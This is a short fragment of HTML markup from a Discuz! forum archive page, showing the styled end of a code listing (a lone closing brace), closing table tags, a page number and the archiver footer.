<DIV class="line number456 index455 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">}</DIV></TD></TR></TBODY></TABLE></SPAN> </td>

                </tr>

              </table>

              <table cellSpacing=0 cellPadding=0 width="100%" border=0>

                <tr>

                  <td>

<div align=center>

页: [1]

Powered by Discuz! Archiver 7.2  © 2001-2009 Comsenz Inc.